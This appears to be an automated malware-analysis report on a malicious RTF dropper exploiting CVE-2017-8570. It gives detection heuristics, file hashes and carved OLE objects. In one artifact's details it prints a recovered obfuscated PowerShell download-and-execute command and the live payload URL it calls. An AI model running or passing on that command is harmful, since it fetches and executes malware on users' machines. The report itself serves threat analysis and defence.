MALICIOUS
342
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
The RTF document contains OLE object data and triggers objupdate, indicating an attempt to activate embedded objects. Critical heuristics identify the exploitation of CVE-2017-8570, which is known to drop SCT scripts, and the presence of a PE header within hex data. The embedded URL http://www.ahoam.pw/beta/catnna.png is suspicious and likely serves as a download source for a secondary payload.
Heuristics 8
-
Composite Moniker — CVE-2017-8570 (drops SCT script) critical CVE_2017_8570RTF \objdata decodes to OLE data containing the Composite Moniker — CVE-2017-8570 (drops SCT script) CLSID — the vulnerable control/moniker is embedded directly in the document's object stream, the delivery shape of this exploit. RTF objects auto-render when Word opens the file.
-
Composite Moniker in RTF OLE object high RTF_COMPOSITE_MONIKER_RELATEDRTF contains Composite Moniker CLSID in OLE object context, but no nearby scriptlet/SCT payload was confirmed. Treat as related moniker attack-surface evidence rather than proof of CVE-2017-8570 exploitation.
-
ClamAV: Rtf.Dropper.Agent-9965975-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Rtf.Dropper.Agent-9965975-1
-
PE header (with DOS stub) in hex data critical RTF_MZ_HEXHex-encoded PE (MZ + DOS stub) found inside RTF — likely an embedded executable payload
-
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
\objupdate forces OLE activation high RTF_OBJUPDATERTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
-
OLE object data medium RTF_OBJDATARTF contains 6 \objdata section(s) — embedded OLE objects
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.ahoam.pw/beta/catnna.png In RTF body
- http://schemas.openxmlformats.org/drawingml/2006/mainIn RTF body
Extracted artifacts 6
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
objdata_00_off000179a4.bin |
rtf-objdata-decoded | RTF \objdata at offset 0x179A4 | 892 bytes |
SHA-256: b84f7a78fa58893d277bdf67c27b408cd8319d6cdd891b7362bd537a3c4c6e5a |
|||
objdata_01_off000180cf.bin |
rtf-objdata-decoded | RTF \objdata at offset 0x180CF | 24780 bytes |
SHA-256: 912734480715a95828bf9f5271fbfbd46bab0a0ad7d07957ecb95d6bae490b17 |
|||
objdata_02_off00024299.bin |
rtf-objdata-decoded | RTF \objdata at offset 0x24299 | 452 bytes |
SHA-256: 302460cba7b0c5238ffc582133f08056810a90b19d71b85147c7a476370b1582 |
|||
objdata_03_off00024655.bin |
rtf-objdata-decoded | RTF \objdata at offset 0x24655 | 352 bytes |
SHA-256: 750b2f8e41c000861072ac7d5117873e44992508e8c4db85e59ae7dd89441875 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Static shellcode analysis recovered URL(s): http://www.ahoam.pw/beta/catnna.png Static shellcode analysis recovered command string(s): cmd, PoWERSheLL.ExE (new-oBJEct NEt.WeBCLIENT).DoWnloADfILe('http://www.ahoam.pw/beta/catnna.png','%teMP%\catnna.exe'); "&" '%Temp%\catnna.exe'
|
|||
objdata_04_off0002497c.bin |
rtf-objdata-decoded | RTF \objdata at offset 0x2497C | 2633 bytes |
SHA-256: fe11c27d916ab897eb94064e9631d8a29c847a6db39259bef31578da8d19fdf5 |
|||
objdata_05_off00025e56.bin |
rtf-objdata-decoded | RTF \objdata at offset 0x25E56 | 258764 bytes |
SHA-256: d6dcceedf5e2a6e920678ec0594e6b6d62eb04cf03609afe38eda8fa1591e43a |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.